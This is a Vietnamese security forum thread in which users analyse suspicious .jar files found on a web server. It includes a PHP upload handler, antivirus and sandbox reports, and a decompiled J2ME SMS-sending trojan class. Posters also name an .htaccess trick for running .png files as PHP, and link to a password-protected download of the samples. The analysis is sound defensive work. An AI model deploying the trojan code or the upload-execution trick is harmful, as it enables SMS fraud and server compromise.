<![CDATA[Latest posts for the topic "Nhờ phân tích Java class file?"]]> /hvaonline/posts/list/28.html JForum - http://www.jforum.net Nhờ phân tích Java class file? Code:
<input type="file" maxlength="10" accept="jar" class="multi MultiFile-applied" name="up_file[]" value="">
Và chuyện đã xảy ra: gần đây, họ thấy có file lạ (*.jar) trong một số thư mục (không phải là thư mục cho phép upload). Anh ta có thử `chown root:root` các files này, nhưng hôm sau vẫn thấy overwrite được. Mình đang nghĩ đến một số hướng: - Tắt javascript, inspect element trên, thay accept="jar" thành accept="php" và upload file PHP lên. Kết quả: chỉ có 2 file .jar và .jad được upload lên thôi. Mình cũng chưa nghĩ ra cách nào để upload .htaccess lên và cho phép execute .png như PHP cả: Code:
AddHandler application/x-httpd-php .png
- Mình có nghe nói đến GIFAR: http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/, nhưng Sun đã fixed từ... lâu lắm rồi. Mình có dùng ClamAV quét thử thì phát hiện trong một số .jar files có vài chú virus thế này: Code:
.jar: Java.Trojan.Boxer FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1214068
Engine version: 0.97.3
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.03 MB
Data read: 0.07 MB (ratio 0.47:1)
Time: 8.659 sec (0 m 8 s)
Nhờ các bạn cùng trợ giúp. Download: http://www.mediafire.com/?l3cp5qpp6wtea4o Password: hva Thanks, ]]>
/hvaonline/posts/list/42241.html#262946 /hvaonline/posts/list/42241.html#262946 GMT
Nhờ phân tích Java class file? Trojan-SMS.J2ME.Boxer.j - by Kaspersky Lab Trojan-SMS - by Ikarus Harmful Beheavor Summary: Contains characteristics of an identified security risk. Trojan-SMS.J2ME.Boxer.j,Trojan-SMS,Trojan.Generic,Trojan Horse Action:Trojan-SMS.J2ME.Boxer.j,Trojan-SMS,Trojan.Generic,Trojan Horse Action: Threat Category Description:A malicious trojan horse or bot that may represent security risk for the compromised system and/or its network environment Create Following Files In System: 1%Temp%\a.class4,322 bytesMD5: 0x33032F7602FE6E18387B18D9A8A4DDCB SHA-1: 0xA18FD6EED2819A1AC9CBD6DA3912F2D3F564F3D4(not available)2%Temp%\b.class1,747 bytesMD5: 0x2A1F880DC52765DC892D8B7A12B2742C SHA-1: 0xD21E39B29852A8D69EE4BC5AEC3B1F9260F11BB5Trojan.Generic - by PCTools Trojan Horse - by Symantec Trojan-SMS.J2ME.Boxer.j - by Kaspersky Lab Trojan-SMS - by Ikarus3%Temp%\icon.png697 bytesMD5: 0x39BAA3944A8BCB77F3E52C3A2E565B97 SHA-1: 0xE45ED2AA49868E1C54B68B12545B8835C1558FEE(not available)4%Temp%\img.jpg20,052 bytesMD5: 0x36C21881CC0AF27B935423B95DE6F725 SHA-1: 0x1460A36E3404C8AAE7D44821C2CE4B626F82B4BD(not available)5%Temp%\mask.png112 bytesMD5: 0x5689B5C6F885F9AB1C86DC205955BB38 SHA-1: 0xDC6AA20E7C6132A30409A07B77EB3ADD927FF75A(not available)6%Temp%\META-INF\MANIFEST.MF439 bytesMD5: 0x0B7C6307189B5D70C6BFD6A01242B8B7 SHA-1: 0xBDE3A59D4F3009487DE2C31C4980FE33865105E0(not available)7%Temp%\SmsBox.class3,948 bytesMD5: 0x545E3E31498FF76F3086D8330E576FB9 SHA-1: 0x232543AE0CB8ECCF62CDE4A4AB4D1042384E302CTrojan.Generic - by PCTools Trojan Horse - by Symantec Trojan-SMS.J2ME.Boxer.j - by Kaspersky Lab Trojan-SMS - by Ikarus8 Sample Name #125,602 bytesMD5: 0x5AFA0225096E71C17AF5799CF128260E SHA-1: 0x62DCB244CBC54A0BD4D159D2AB29CCFD6CB116E8Trojan-SMS.J2ME.Boxer.j - by Kaspersky Lab Trojan-SMS - by Ikarus %Temp% is a variable that refers to the temporary folder in the short path form. By default, this is C:\Documents and Settings\[UserName\Local Settings\Temp\ (Windows NT/2000/XP). The following directory was created: %Temp%\META-INF  ]]> /hvaonline/posts/list/42241.html#262961 /hvaonline/posts/list/42241.html#262961 GMT Nhờ phân tích Java class file? /hvaonline/posts/list/42241.html#262962 /hvaonline/posts/list/42241.html#262962 GMT Nhờ phân tích Java class file? http://code.google.com/p/jquery-multifile-plugin/source/browse/trunk/jquery.MultiFile.js Còn đây là một phần đoạn code trên server: Code:
$nofile = count($files['name']);
    for($i = 0; $i < $nofile; $i++)
    {
        if(empty($files['name'][$i]))
        {
            // $step = 1;
            break;
        } else
        {
            $strExt = ".jar";
            $app_name = substr($files["name"][$i],0,-4);
            //echo $app_name;
            //$app_name = $files["name"][$i];
            if($files["error"][$i])
            {
                $strStatus = $files['name'][$i].': Error code: '.$files["error"][$i];
                $strStatus_arr[] = $strStatus;
//                 $step = 1;
            } else
            {
                if($files["size"][$i] > MAX_SIZE)
                {
                    $strStatus = $files['name'][$i].": Error: File lớn hơn dung lượng cho phép (".(int)($files["size"][$i] / 1024)."Kbs)";
                    $strStatus_arr[] = $strStatus;
//                     $step = 1;
                } else
                {
                    $fname0ext = md5(uniqid(mt_rand(), true));
                    $strFileName = $fname0ext.$strExt;
                    // $abs_path = '';
                    $abs_path = '';
                    $folder = $abs_path."tmpfile2/";
                    $file_path = $folder.$strFileName;
                    move_uploaded_file($files["tmp_name"][$i], $file_path);

                    $lid = log_genapp($partner_code, 'license', $app_name, '');
]]>
/hvaonline/posts/list/42241.html#262970 /hvaonline/posts/list/42241.html#262970 GMT
Nhờ phân tích Java class file? Code:
import javax.microedition.io.Connection;
import javax.microedition.io.Connector;
import javax.wireless.messaging.Message;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;

public final class a
  implements Runnable
{
  private String jdField_a_of_type_JavaLangString;
  private String b;
  private boolean jdField_a_of_type_Boolean;
  private Thread jdField_a_of_type_JavaLangThread;

  public final void a(String paramString1, String paramString2)
  {
    if (this.jdField_a_of_type_JavaLangThread == null)
    {
      this.jdField_a_of_type_JavaLangString = paramString2;
      this.b = ("sms://" + paramString1);
      this.jdField_a_of_type_Boolean = false;
      this.jdField_a_of_type_JavaLangThread = new Thread(this);
      this.jdField_a_of_type_JavaLangThread.start();
    }
  }

  public final void run()
  {
    MessageConnection localMessageConnection = null;
    try
    {
      TextMessage localTextMessage;
      (localTextMessage = (TextMessage)(localMessageConnection = (MessageConnection)Connector.open(this.b)).newMessage("text")).setAddress(this.b);
      localTextMessage.setPayloadText(this.jdField_a_of_type_JavaLangString);
      localMessageConnection.send(localTextMessage);
      this.jdField_a_of_type_Boolean = true;
    }
    catch (Throwable localThrowable)
    {
      this.jdField_a_of_type_Boolean = false;
    }
    finally
    {
      if (localMessageConnection != null)
        try
        {
          localMessageConnection.close();
        }
        catch (Exception localException3)
        {
        }
    }
    synchronized (this)
    {
      this.jdField_a_of_type_JavaLangThread = null;
      return;
    }
  }

  public final boolean a()
  {
    try
    {
      this.jdField_a_of_type_JavaLangThread.join();
    }
    catch (Exception localException)
    {
    }
    return this.jdField_a_of_type_Boolean;
  }
}
Cần thêm những file khác được load lên để chạy thì mới biết chính xác nó send cái gì.]]>
/hvaonline/posts/list/42241.html#262972 /hvaonline/posts/list/42241.html#262972 GMT